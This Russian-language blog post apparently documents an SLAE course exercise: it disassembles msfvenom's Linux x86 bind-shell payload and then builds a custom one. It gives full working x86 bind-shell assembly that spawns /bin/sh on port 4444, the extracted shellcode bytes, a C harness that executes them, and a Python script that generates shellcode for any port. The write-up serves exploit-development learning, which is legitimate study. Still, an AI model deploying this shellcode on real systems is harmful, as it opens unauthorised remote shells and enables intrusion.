Привет! Спасибо, что зашли. Первый пост в блоге здесь, и я буду отвечать на некоторые вопросы о заданиях по шеллкоду для курса SecurityTube Linux Assembly Expert (SLAE), который проводит Вивек Рамачандран в Pentester Academy.
Для новичка в сборке вроде меня это был потрясающий курс! Я получил гораздо лучшее представление о том, как работают компьютеры, научился писать простые программы на 32-битном языке ассемблера для архитектуры Intel и создавать собственный шеллкод.
Сначала я прошел курс, потому что слышал, что это хорошее введение в разработку эксплойтов, которое может помочь мне получить сертификат сертифицированного эксперта по наступательной безопасности (OSCE). Выполнив OSCP, кучу веб-приложений, мобильных приложений и тестов на проникновение в инфраструктуру на работе, я почувствовал, что мне действительно нужно сделать следующий шаг и улучшить свои собственные навыки написания эксплойтов.
В любом случае... Я надеюсь сделать эти записи достаточно простыми, чтобы вы могли следовать им, даже если вы не знакомы с ассемблером x86 Intel (ассемблирование повсюду), и, надеюсь, вы сможете понять основы.
Давайте погрузимся в это!
Эта задача полностью посвящена написанию нашего собственного шелл-кода для оболочки привязки. Ну как мне это сделать? Первое, о чем я подумал, было «давайте начнем со strace на netcat» и посмотрим, какие системные вызовы (системные вызовы) он использует.
$ strace nc -nlvp 4444 ...snip... socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 setsockopt(3, SOL_SOCKET, SO_REUSEPORT, [1], 4) = 0 bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 1) = 0 write(2, "Listening on [0.0.0.0] (family 0"..., 45Listening on [0.0.0.0] (family 0, port 4444) ) = 45 accept4(3, {sa_family=AF_INET, sin_port=htons(45880), sin_addr=inet_addr("127.0.0.1")}, [128->16], SOCK_NONBLOCK) = 4 ...snip...
Прохладный. Итак, мы видим, что происходит несколько системных вызовов, которые, вероятно, будут важны для использования. Это socket
bind
listen
и accept4
. Похоже, мы могли бы пойти дальше и хотя бы заняться открытием порта привязки с помощью некоторого ассемблерного кода. Но нам нужна оболочка для запуска этого соединения. Хм…
Есть так много способов сделать это, но я решил использовать msfvenom, чтобы просто создать шелл-код для полезной нагрузки linux/x86/shell_bind_tcp
. Затем я использовал gdb, чтобы посмотреть, что происходит под капотом.
$ msfvenom -p linux/x86/shell_bind_tcp -f c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 78 bytes Final size of c file: 354 bytes unsigned char buf[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" "\x0b\xcd\x80";
Я скопировал выходной шелл-код в следующую программу на C, которая, по сути, печатает длину шелл-кода перед запуском шелл-кода.
$ cat shellcode.c #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Давайте скомпилируем это и запустим внутри gdb.
$ gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c $ gdb ./shellcode (gdb) break main (gdb) run (gdb) disassemble Dump of assembler code for function main: 0x5655554d <+0>: lea ecx,[esp+0x4] 0x56555551 <+4>: and esp,0xfffffff0 0x56555554 <+7>: push DWORD PTR [ecx-0x4] 0x56555557 <+10>: push ebp 0x56555558 <+11>: mov ebp,esp 0x5655555a <+13>: push ebx 0x5655555b <+14>: push ecx => 0x5655555c <+15>: sub esp,0x10 0x5655555f <+18>: call 0x56555450 <__x86.get_pc_thunk.bx> 0x56555564 <+23>: add ebx,0x1a70 0x5655556a <+29>: sub esp,0xc 0x5655556d <+32>: lea eax,[ebx+0x4c] 0x56555573 <+38>: push eax 0x56555574 <+39>: call 0x565553e0 <strlen@plt> 0x56555579 <+44>: add esp,0x10 0x5655557c <+47>: sub esp,0x8 0x5655557f <+50>: push eax 0x56555580 <+51>: lea eax,[ebx-0x19a4] 0x56555586 <+57>: push eax 0x56555587 <+58>: call 0x565553d0 <printf@plt> 0x5655558c <+63>: add esp,0x10 0x5655558f <+66>: lea eax,[ebx+0x4c] 0x56555595 <+72>: mov DWORD PTR [ebp-0xc],eax 0x56555598 <+75>: mov eax,DWORD PTR [ebp-0xc] 0x5655559b <+78>: call eax 0x5655559d <+80>: mov eax,0x0 0x565555a2 <+85>: lea esp,[ebp-0x8] 0x565555a5 <+88>: pop ecx 0x565555a6 <+89>: pop ebx 0x565555a7 <+90>: pop ebp 0x565555a8 <+91>: lea esp,[ecx-0x4] 0x565555ab <+94>: ret End of assembler dump.
На данный момент мы не можем видеть наш шеллкод. Потому что еще не звонили. Действительно простой способ прервать наш шелл-код в начале этого примера — установить точку останова в нашей переменной code
, выполнив следующие действия:
(gdb) info variables ...snip... 0x56557020 code ...snip... (gdb) break *0x56557020
И если вы хотите убедиться, что код действительно указывает на наш шеллкод, подтвердите это, выполнив:
(gdb) x/20x 0x56557020 0x56557020 <code>: 0xe3f7db31 0x6a534353 0xb0e18902 0x5b80cd66 0x56557030 <code+16>: 0x0268525e 0x6a5c1100 0x89505110 0x58666ae1 0x56557040 <code+32>: 0x418980cd 0xb004b304 0x4380cd66 0x80cd66b0 0x56557050 <code+48>: 0x3f6a5993 0x4980cd58 0x2f68f879 0x6868732f 0x56557060 <code+64>: 0x6e69622f 0x5350e389 0x0bb0e189 0x000080cd
Отлично, вроде все есть. Запустим программу еще раз, давайте дизассемблируем в нашей новой точке останова и посмотрим, что мы найдем.
Breakpoint 1, 0x5655555c in main () (gdb) c Continuing. Shellcode Length: 20 Breakpoint 2, 0x56557020 in code () (gdb) disassemble Dump of assembler code for function code: => 0x56557020 <+0>: xor ebx,ebx 0x56557022 <+2>: mul ebx 0x56557024 <+4>: push ebx 0x56557025 <+5>: inc ebx 0x56557026 <+6>: push ebx 0x56557027 <+7>: push 0x2 0x56557029 <+9>: mov ecx,esp 0x5655702b <+11>: mov al,0x66 0x5655702d <+13>: int 0x80 0x5655702f <+15>: pop ebx 0x56557030 <+16>: pop esi 0x56557031 <+17>: push edx 0x56557032 <+18>: push 0x5c110002 0x56557037 <+23>: push 0x10 0x56557039 <+25>: push ecx 0x5655703a <+26>: push eax 0x5655703b <+27>: mov ecx,esp 0x5655703d <+29>: push 0x66 0x5655703f <+31>: pop eax 0x56557040 <+32>: int 0x80 0x56557042 <+34>: mov DWORD PTR [ecx+0x4],eax 0x56557045 <+37>: mov bl,0x4 0x56557047 <+39>: mov al,0x66 0x56557049 <+41>: int 0x80 0x5655704b <+43>: inc ebx 0x5655704c <+44>: mov al,0x66 0x5655704e <+46>: int 0x80 0x56557050 <+48>: xchg ebx,eax 0x56557051 <+49>: pop ecx 0x56557052 <+50>: push 0x3f 0x56557054 <+52>: pop eax 0x56557055 <+53>: int 0x80 0x56557057 <+55>: dec ecx 0x56557058 <+56>: jns 0x56557052 <code+50> 0x5655705a <+58>: push 0x68732f2f 0x5655705f <+63>: push 0x6e69622f 0x56557064 <+68>: mov ebx,esp 0x56557066 <+70>: push eax 0x56557067 <+71>: push ebx 0x56557068 <+72>: mov ecx,esp 0x5655706a <+74>: mov al,0xb 0x5655706c <+76>: int 0x80 0x5655706e <+78>: add BYTE PTR [eax],al End of assembler dump.
Проверка первого системного вызова
Теперь, если вы никогда раньше не смотрели на ассемблер, давайте немного разберемся. По сути, нас очень интересуют системные вызовы. Помните socket
bind
listen
accept
? Ну, это примеры системных вызовов, а системные вызовы происходят, когда прерывание ядра или инструкция int 0x80
выполняются процессором. Если вы посмотрите на приведенный выше вывод, вы заметите, что int 0x80
появляется несколько раз. Вы спросите — разве они не одинаковы? Как процессор определяет, какой именно системный вызов нужно запустить?
Все зависит от того, какие значения хранятся в регистрах (eax, ebx и т. д.) до того, как произойдет системный вызов. Давайте определим значения в регистрах до того, как произойдет первый системный вызов. Если мы просто сосредоточимся на первом фрагменте, это станет ясно довольно быстро.
Breakpoint 2, 0x56557020 in code () (gdb) disassemble Dump of assembler code for function code: => 0x56557020 <+0>: xor ebx,ebx 0x56557022 <+2>: mul ebx 0x56557024 <+4>: push ebx 0x56557025 <+5>: inc ebx 0x56557026 <+6>: push ebx 0x56557027 <+7>: push 0x2 0x56557029 <+9>: mov ecx,esp 0x5655702b <+11>: mov al,0x66 0x5655702d <+13>: int 0x80
Шелл-код начинает с операции XOR с регистром ebx с самим собой, что делает его равным нулю. Команда MUL по существу берет исходный регистр (в данном случае это ebx) и умножает его на регистр назначения (неявно это eax). Кроме того, поскольку перемножаются два 32-битных значения, результат может быть больше, чем 32-битное значение, и поэтому результат возвращается в виде двух пар, которые сохраняются в eax и edx. Этот ответ stackoverflow более подробно описывает команду MUL, если вам интересно https://stackoverflow.com/questions/40893026/mul-function-in-assembly.
Итак, прямо сейчас eax = 0, ebx = 0 и edx = 0. Следующим в стек помещается Ebx, а затем увеличивается значение ebx. Ebx снова помещается в стек, а затем в стек помещается значение 0x2. Таким образом, на самом деле изменились только две вещи: ebx = 1 и стек выглядит так:
0xffffd040: 0x00000002 0x00000001 0x00000000
Затем мы перемещаем esp в ecx, что означает, что ecx теперь содержит адрес, указывающий на вершину нашего стека, то есть 0xffffd040. Наконец, мы перемещаем шестнадцатеричное значение 0x66 (десятичное 102) в регистр eax.
Теперь у нас есть eax = 102, ebx = 1, ecx = 0xffffd040 и edx = 0. Значение 102 на самом деле относится к номеру системного вызова, который должен быть выполнен. Это значение всегда хранится в eax. Эти значения системных вызовов можно найти в unistd_32.h
.
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h ...snip... #define __NR_socketcall 102 ...snip...
Похоже, мы делаем системный вызов socketcall
. Лучше проверьте справочную страницу. Страница руководства показывает, что socketcall
принимает следующие аргументы:
int socketcall(int call, unsigned long *args);
Целые числа «вызова» определены в /usr/include/linux/net.h
, и чтение этого файла показывает, что значение 1 (поскольку ebx = 1) относится к вызову SYS_SOCKET. Под капотом это просто использует системный вызов socket
, и, обратившись к справочной странице сокета, мы обнаружим, что он принимает три аргумента:
int socket(int domain, int type, int protocol);
Каждое целое число для домена, типа и протокола можно найти в файлах /usr/include/x86_64-linux-gnu/bits/socket.h
, /usr/src/linux-headers-<version>/include/linux/net.h
и /usr/include/netinet/in.h
соответственно. В нашем случае ecx указывает на стек, который содержит значения (2, 1, 0), и это действительно означает, что мы запускаемint socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
, что замечательно, потому что именно это мы видели в выводе strace ранее! Поскольку socketcall
принимает только два аргумента (ebx, ecx), нам не нужно беспокоиться о edx.
Теперь все готово, когда мы выполним int 0x80
, он вызовет socketcall с аргументами в ebx и ecx, что, по сути, создаст наш сокет/конечную точку!
Какие еще системные вызовы используются в шелл-коде linux/x86/shell_bind_tcp?
Это суть того, что мы хотим знать. Затем мы можем пойти и реализовать эти системные вызовы в нашем собственном ассемблере, по-своему круто. Я не собираюсь разбирать следующие фрагменты, как в случае с вызовом сокета выше. Просто я просто определяю, какие системные вызовы выполняются, и буду помнить, какие значения передаются в качестве аргументов.
Второй фрагмент:
0x5655702f <+15>: pop ebx 0x56557030 <+16>: pop esi 0x56557031 <+17>: push edx 0x56557032 <+18>: push 0x5c110002 0x56557037 <+23>: push 0x10 0x56557039 <+25>: push ecx 0x5655703a <+26>: push eax 0x5655703b <+27>: mov ecx,esp 0x5655703d <+29>: push 0x66 0x5655703f <+31>: pop eax 0x56557040 <+32>: int 0x80
Eax все еще имеет значение 0x66 для socketcall. На этот раз ebx содержит значение 2, что означает, что используется SYS_BIND. SYS_BIND использует системный вызов bind
, в чем можно убедиться, прочитав справочную страницу socketcall.
Третий фрагмент:
0x56557042 <+34>: mov DWORD PTR [ecx+0x4],eax 0x56557045 <+37>: mov bl,0x4 0x56557047 <+39>: mov al,0x66 0x56557049 <+41>: int 0x80
Eax = 0x66, ebx = 0x4, то есть SYS_LISTEN, который использует системный вызов listen
.
Четвертый фрагмент:
0x5655704b <+43>: inc ebx 0x5655704c <+44>: mov al,0x66 0x5655704e <+46>: int 0x80
Eax = 0x66, и из-за увеличения команды ebx теперь ebx = 0x5, то есть SYS_ACCEPT, который использует системный вызов accept
.
Пятый фрагмент:
0x56557050 <+48>: xchg ebx,eax 0x56557051 <+49>: pop ecx 0x56557052 <+50>: push 0x3f 0x56557054 <+52>: pop eax 0x56557055 <+53>: int 0x80
Хорошо, теперь у нас есть eax = 0x3f (63 в десятичной системе), что является системным вызовом dup2
. Это будет использовано для дублирования файлового дескриптора, возвращаемого результатом системного вызова accept
. Мы вернемся к этому позже, когда будем писать собственный шелл-код для связывания.
Шестая часть:
0x56557057 <+55>: dec ecx 0x56557058 <+56>: jns 0x56557052 <code+50> 0x5655705a <+58>: push 0x68732f2f 0x5655705f <+63>: push 0x6e69622f 0x56557064 <+68>: mov ebx,esp 0x56557066 <+70>: push eax 0x56557067 <+71>: push ebx 0x56557068 <+72>: mov ecx,esp 0x5655706a <+74>: mov al,0xb 0x5655706c <+76>: int 0x80
Первые две строки здесь показывают, что ecx уменьшается, а инструкция jns
используется для создания цикла, так что системный вызов dup2
в пятом блоке выполняется три раза (для создания файловых дескрипторов stdin, stdout и stderr).
Ниже мы видим, что значение 0xb перемещается в eax перед инструкцией int 0x80
. 0xb — это 11 в десятичном виде, и, обратившись к нашему очень удобному файлу unistd_32.h, мы можем увидеть, что он работает под управлением execve
.
Создание собственного шеллкода
Вот тут-то и начинается самое интересное. Мы успешно разобрались, как работает шеллкод metasploit/msfvenom linux x86 shell_bind_tcp. По порядку он использовал следующие системные вызовы:
socket
bind
listen
acccept
dup2
execve
Здорово! Это будет нашим руководством по созданию собственного шелл-кода! Основные шаги, которые я предприму, чтобы написать это на ассемблере, в основном будут такими:
- Прочтите unistd_32.h и определите значение системного вызова.
- Поместите значение системного вызова в eax
- Прочтите справочную страницу системного вызова, чтобы узнать, какие аргументы он принимает.
- В зависимости от количества аргументов поместите эти значения в правильные регистры. Например. если есть три аргумента, я помещу значения в ebx, ecx и edx перед вызовом инструкции
int 0x80
.
Сокет
Я рассмотрел этот системный вызов довольно подробно ранее, поэтому я буду немного более краток, чем с другими системными вызовами. Однако я собираюсь сделать это немного иначе, чем шелл-код metasploit. Я собираюсь использовать socket
напрямую (0x167) вместо socketcall
.
Мы уже определили, что socket
принимает три аргумента: int socket(int domain, int type, int protocol) и что эти значения должны быть 2, 1 и 0 соответственно. Давайте реализуем это с помощью следующего кода.
xor eax, eax ; zero out and prevent nulls in our shellcode later mov ax, 0x167 ; socket syscall xor ebx, ebx ; zero out other registers xor ecx, ecx xor edx, edx mov bl, 0x2 ; 2 is for AF_INET / PF_INET protocol family mov cl, 0x1 ; 1 is for SOCK_STREAM type ; edx is already 0 int 0x80 ; call socket(2,1,0)
Обратите внимание, что socket
возвращает файловый дескриптор, и он будет помещен в регистр eax. Это значение понадобится нам для продолжения работы с этой конечной точкой в остальной части программы.
Привязать
Страница руководства для bind
(0x169) показывает, что bind
принимает три аргумента следующим образом:
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Для первого аргумента требуется значение int для sockfd, которое в настоящее время находится в eax, то есть возвращаемое значение из функции сокета. Второй аргумент — это указатель на структуру адреса сокета, т. е. *addr. Для структуры sockaddr требуется 16 байтов, включая семейство протоколов (AF_INET), порт для прослушивания (например, 4444), INADDR (например, 0.0.0.0 для прослушивания на всех интерфейсах), а также 8 байтов заполнения. Поэтому *addr должен указывать на что-то вроде:
0x5c110002 0x00000000 0x00000000 0x00000000
Третий аргумент — это просто длина в байтах адресной структуры, на которую указывает *addr (т. е. 16 байт). Однако мы будем вычислять это, используя стек и базовый указатель, а не жестко закодированные 16 байтов. Собрав все это вместе, мы имеем:
mov ebx, eax ; move socket fd result into ebx xor eax, eax mov ax, 0x169 ; bind syscall mov ebp, esp ; set start of stack frame push edx ; push 4 bytes of padding push edx ; push another 4 bytes of padding push edx ; INADDR set to 0.0.0.0 push word 0x5c11 ; port 4444 in reverse hex because little endian push word 0x2 ; 2 is the value for AF_INET mov ecx, esp ; ecx now points to address structure sub ebp, esp ; store sockaddr size in ebp mov edx, ebp ; move struct size into edx int 0x80 ; call bind syscall
Слушайте
Страница руководства для listen
(0x16b) показывает, что она принимает два аргумента следующим образом:
int listen(int sockfd, int backlog);
Это очень просто, позволяет просто выполнить xor eax с самим собой и поместить 0x16b. Ebx уже содержит значение sockfd, а отставание относится только к максимальному количеству ожидающих соединений, которое вы хотите. Нам нужно только одно соединение.
xor eax, eax mov ax, 0x16b ; listen syscall ; ebx still contains socket fd xor ecx, ecx mov cl, 0x1 ; backlog equals one for max one connection int 0x80 ; call listen syscall
Принять
Фактический системный вызов, который мы будем здесь использовать, называется accept4
(0x16c), но он делает то же самое, что и accept
, и принимает следующие аргументы:
int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
Если мы установим флаги int равными нулю, тогда accept4
будет иметь ту же функциональность, что и accept
, согласно справочной странице. Мы уже знаем sockfd и *addr. На самом деле единственное, что нам нужно сделать здесь, это поместить адрес addrlen в стек (то есть 0x00000010
) и создать новый указатель на него с именем *addrlen для третьего аргумента.
xor eax, eax mov ax, 0x16c ; accept4 syscall ; ebx still contains socket fd mov ecx, esp ; ecx points to sockaddr push edx ; push struct size onto stack mov edx, esp ; edx now points to addrlen xor esi, esi ; set int flags parameter to 0 int 0x80 ; accept4 syscall
После запуска функция accept4 вернет новый файловый дескриптор для подключенного сокета. Этот новый файловый дескриптор будет храниться в eax.
Dup2
Здесь нам нужно продублировать подключенный сокет три раза, чтобы мы могли перенаправить stdin, stdout и stderr. dup2
(0x3f) принимает следующие аргументы:
int dup2(int oldfd, int newfd);
Где oldfd относится к подключенному сокету, возвращенному из accept4
, а newfd относится к стандартному вводу (0), стандартному выводу (1) или стандартному выводу (2).
mov ebx, eax ; mov connected socket fd into ebx xor ecx, ecx mov cl, 0x3 ; we will loop 3 times (2, 1, and 0) _dupfds: ; create 3 new fds for stdin,stdout,stderr xor eax, eax mov al, 0x3f ; dup2 syscall value dec ecx int 0x80 ; execute dup2 jnz _dupfds ; loop until ecx = 0
Инструкция JNZ не будет возвращаться к началу _dupfds
, если цикл повторится три раза. Это связано с тем, что третий раунд уменьшит ecx до нуля, что установит нулевой флаг. Когда установлен нулевой флаг, JNZ не вернется к _dupfds
.
Выполнить
Последний. Нам просто нужно получить execve
(0xb) для запуска /bin/sh
, и наша замечательная программа оболочки связывания будет завершена, и мы сможем извлечь из нее шелл-код. Ссылаясь на справочную страницу, execve
принимает следующие аргументы:
int execve(const char *filename, char *const argv[], char *const envp[]);
Указатель *filename должен указывать на завершающуюся нулем строку программы, которую мы хотим выполнить, то есть /bin/sh
. Второй аргумент, argv, представляет собой массив константных указателей, которые должны указывать на имя файла, а затем указывать на любые аргументы для передачи этому имени файла/двоичному файлу. Поскольку нам не нужно передавать какие-либо аргументы в /bin/sh
, когда мы его вызываем, нам просто нужно передать два постоянных указателя, один на имя файла, а второй на нули. Аргумент envp снова представляет собой массив указателей const, который должен указывать на строки вида ключ=значение, и нам не нужно его использовать, так что он тоже может быть нулевым.
_execve: xor eax, eax ; reset registers to zero xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 0xb ; execve syscall push ebx ; put nulls on stack push dword 0x68732f2f push dword 0x6e69622f ; push /bin//sh onto the stack mov ebx, esp ; ebx points to filename push edx ; put nulls on the stack mov edx, esp ; pointer to envp array (null) push ebx mov ecx, esp ; pointer to argv array int 0x80 ; syscall to execve
Объединяем все вместе
Соединяя все наши куски вместе, мы имеем:
; Purpose: Open a bind port on the local computer ; Filename: bind.nasm global _start section .text _start: xor eax, eax ; zero out and prevent nulls in shellcode mov ax, 0x167 ; socket syscall xor ebx, ebx ; zero out other registers xor ecx, ecx xor edx, edx mov bl, 0x2 ; 2 is for AF_INET / PF_INET protocol family mov cl, 0x1 ; 1 is for SOCK_STREAM type ; edx is already 0 int 0x80 ; call socket(2,1,0) mov ebx, eax ; move socket fd result into ebx xor eax, eax mov ax, 0x169 ; bind syscall mov ebp, esp ; set start of stack frame push edx ; push 4 bytes of padding push edx ; push another 4 bytes of padding push edx ; INADDR set to 0.0.0.0 push word 0x5c11 ; port 4444 in reverse hex (little endian) push word 0x2 ; 2 is the value for AF_INET mov ecx, esp ; ecx now points to address structure sub ebp, esp ; store sockaddr size in ebp mov edx, ebp ; move struct size into edx int 0x80 ; call bind syscall xor eax, eax mov ax, 0x16b ; listen syscall ; ebx still contains socket fd xor ecx, ecx mov cl, 0x1 ; backlog equals one for max one connection int 0x80 ; call listen syscall xor eax, eax mov ax, 0x16c ; accept4 syscall ; ebx still contains socket fd mov ecx, esp ; ecx points to sockaddr push edx ; push struct size onto stack mov edx, esp ; edx now points to addrlen xor esi, esi ; set int flags parameter to 0 int 0x80 ; accept4 syscall mov ebx, eax ; mov connected socket fd into ebx xor ecx, ecx mov cl, 0x3 ; we will loop 3 times (2, 1, and 0) _dupfds: ; create 3 new fds for stdin,stdout,stderr xor eax, eax mov al, 0x3f ; dup2 syscall value dec ecx int 0x80 ; execute dup2 jnz _dupfds ; loop until ecx = 0 _execve: xor eax, eax ; reset registers to zero xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 0xb ; execve syscall push ebx ; put nulls on stack push dword 0x68732f2f push dword 0x6e69622f ; push /bin//sh onto the stack mov ebx, esp ; ebx points to filename push edx ; put nulls on the stack mov edx, esp ; pointer to envp array (null) push ebx mov ecx, esp ; pointer to argv array int 0x80 ; syscall to execve
Давайте просто убедимся, что это работает. Я поместил свой код в файл с именем bind.nasm. Я также использую систему x86_64, поэтому я добавил параметр -m EMULATION
, используя elf_i386
.
$ nasm -f elf32 -o bind.o bind.nasm $ ld -o bind bind.o -m elf_i386 $ ./bind
В другом терминале я буду подключаться с помощью netcat.
$ nc -nv 127.0.0.1 4444 Connection to 127.0.0.1 4444 port [tcp/*] succeeded! whoami whippy
Потрясающий!! Похоже, это работает.
Извлечение шелл-кода
Время, которого мы все ждали, давайте получим этот шеллкод! Мы можем просто запустить objdump с параметром -d
(разборка), чтобы увидеть коды операций, которые будут нашим шеллкодом.
$ objdump -d bind
Аккуратный скрипт, найденный по адресу https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump, поможет нам скопировать все коды операций в нужный формат. для нашего шелл-кода, чтобы мы могли его протестировать.
$ objdump -d bind |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
Тестирование шеллкода
Помните, в начале этого поста мы скопировали версию metasploit в эту программу на C и протестировали ее? Да, вы поняли, давайте сделаем то же самое, но с нашим шелл-кодом.
#include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Компиляция и запуск этой программы на C действительно создает ту же самую оболочку связывания.
$ gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c $ ./shellcode Shellcode Length: 119
Аналогично тому, как мы запускали ./bind
из bind.nasm, если мы откроем netcat в другом терминале, мы теперь сможем подключиться к оболочке привязки на локальном хосте через порт 4444, как и раньше.
Простая настройка порта привязки
Если вас интересовал только шеллкод, то эта часть сделана, уф! Но самое последнее, что требует курс, это сделать порт привязки легко настраиваемым.
Мы использовали порт 4444, который в шестнадцатеричном формате равен 0x115c. Из-за архитектуры с прямым порядком байтов мы поместили это значение в стек в обратном порядке как 0x5c11. Хм, на самом деле все, что нам нужно сделать, это изменить одну часть, а остальная часть нашего кода останется прежней. Давайте просто напишем простой скрипт на Python, который примет номер порта, который мы хотим использовать в качестве аргумента, затем он изменит только это шестнадцатеричное значение и даст нам наш новый шелл-код. т.е. выделенная жирным шрифтом часть ниже.
"\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
В следующем скрипте на Python я модифицировал предыдущий скрипт objdump и работал с шелл-кодом без «\x». Я просто разбил шелл-код на две части, вставил новый номер порта, прошил все обратно, а потом добавил «\x». Примечание: будьте осторожны при выборе используемого порта, так как он не добавит пустых значений (\x00) в шелл-код.
#!/usr/bin/python # filename: import sys try: if 1 <= int(sys.argv[1]) <= 65535: shellcode_partone = "31c066b8670131db31c931d2b302b101cd8089c331c066b8690189e55252526668" port = "{0:#0{1}x}".format(int(sys.argv[1]),6) #e.g 4444 will be turned into '0x115c' or 12 to '0x000c' port_first_half = port[2:4] # e.g. 4444 -> '11' port_second_half = port[4:6] # e.g. 4444 -> '5c' if port_first_half == "00" or port_second_half == "00": print "WARNING: Nulls in shellcode, use different port" shellcode_parttwo = "666a0289e129e589eacd8031c066b86b0131c9b101cd8031c066b86c0189e15289e231f6cd8089c331c9b10331c0b03f49cd8075f731c031db31c931d2b00b53682f2f7368682f62696e89e35289e25389e1cd80" shellcode = shellcode_partone + port_first_half + port_second_half + shellcode_parttwo xformat_shellcode = "\\x" + "\\x".join(shellcode[n:n+2] for n in range(0, len(shellcode), 2)) print "Bind shellcode for port " + sys.argv[1] + ': \r\n' + xformat_shellcode else: print "Invalid port number, try again" except: print "Something went wrong, try again"
Запуск этого для использования порта 12345 (0x3039) будет выглядеть следующим образом:
$ ./bind-generator.py 12345 Bind shellcode for port 12345: \x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x30\x39\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80
Если бы мы вставили этот шелл-код в нашу программу на C, чтобы протестировать шелл-код, мы бы обнаружили, что он работает так же, как и раньше, за исключением того, что оболочка привязки будет прослушивать порт 12345.
Подведение итогов
